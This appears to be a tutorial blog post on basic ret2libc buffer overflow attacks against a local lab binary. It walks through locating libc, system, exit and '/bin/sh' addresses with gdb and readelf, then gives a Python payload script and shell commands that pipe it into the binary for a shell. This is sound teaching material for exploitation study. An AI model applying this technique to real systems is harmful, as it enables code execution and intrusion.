Basic Ret2Libc Attacks

How Buffer Overflow Works

        Overwriting the return address of the stack with overflowing the buffer allows us to return another malicious address which ends up with code execution.

Keep that in mind if NX is enabled we can't just directly jump to shellcode

Stack state

1
2
3
4
5
6
7
8
9
10
11
12
|                  |        
| | |
| | |
| BUFFER | |
| | |
| | |
| | | Oops, I overflowed it
|__________________| |
|_______esb________| -------|---> Junk buffer ends here
|_______ret________| -------V----> We overwrite the ret address with the one we want to call
| |
|__________________|

1
2
3
4
5
6
7
8
junk_buf + system_call + exit_addr + /bin/sh 
| | ^ ^
| | | |
| |first argument| |
| |______________| |
| |
| second argument |
|__________________________|

        Since we overwrite the return address with system’s address, we can give system arguments and make it execute commands

Chain Chain Chain the ROP baby

Simple ROP logic ,locally,is this,

        1st –> find exact size of buffer to fill buffer+ebp.
        2nd –> For overwriting the ret address find the system address with “p system” from gdb.
        3rd –> Search for “/bin/sh” in the program with “memsearch /bin/sh” in order to skip calculating offset etc. because this way it will be calculated already. Don’t care about exit.
        4th –> Construct your chain like this “junk_buf + system_addr + exit_addr + /bin/sh “
        EXTERMINATE!!

Finding Addresses Locally

Start with this
        gdb ./vuln

gdb gives you a great opportunity to do address calculations

1
2
(gdb) x/x 0xb7e97000 + 0x00038fb0
0xb7ecffb0 <__libc_system>: 0x890cec83

Finding Libc base address

        info proc map

Finding system address

        p system

Finding /bin/sh

       searchmem /bin/sh

Exploit in real action

1
2
3
4
5
6
7
8
9
libc_base_addr = ldd /home/vuln | grep libc
system_offset = readelf -s /lib/libc-2.11.2.so | grep system
exit_offset = readelf -s /lib/libc-2.11.2.so | grep exit
arg_offset = strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh


system_addr = libc_base_addr + system_offset
exit_addr = libc_base_addr + exit_offset
arg_addr = libc_base_addr + arg_offset

Example python script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import struct

libc_base_addr = 0xb7e97000
system_off = 0x00038fb0
exit_off = 0x0002f0c0
arg_off = 0x0011f3bf

system_addr = struct.pack("<I", libc_base_addr + system_off)
exit_addr = struct.pack("<I", libc_base_addr + exit_off)
arg_addr = struct.pack("<I", libc_base_addr + arg_off)

buf = "A" * 80

print buf + system_addr + exit_addr + arg_addr

To run the script with the binary use

1
2
3
4
5
6
(python exploit.py; cat) | /home/vuln

or

python exploit.py > buf
cat buf - | /home/vuln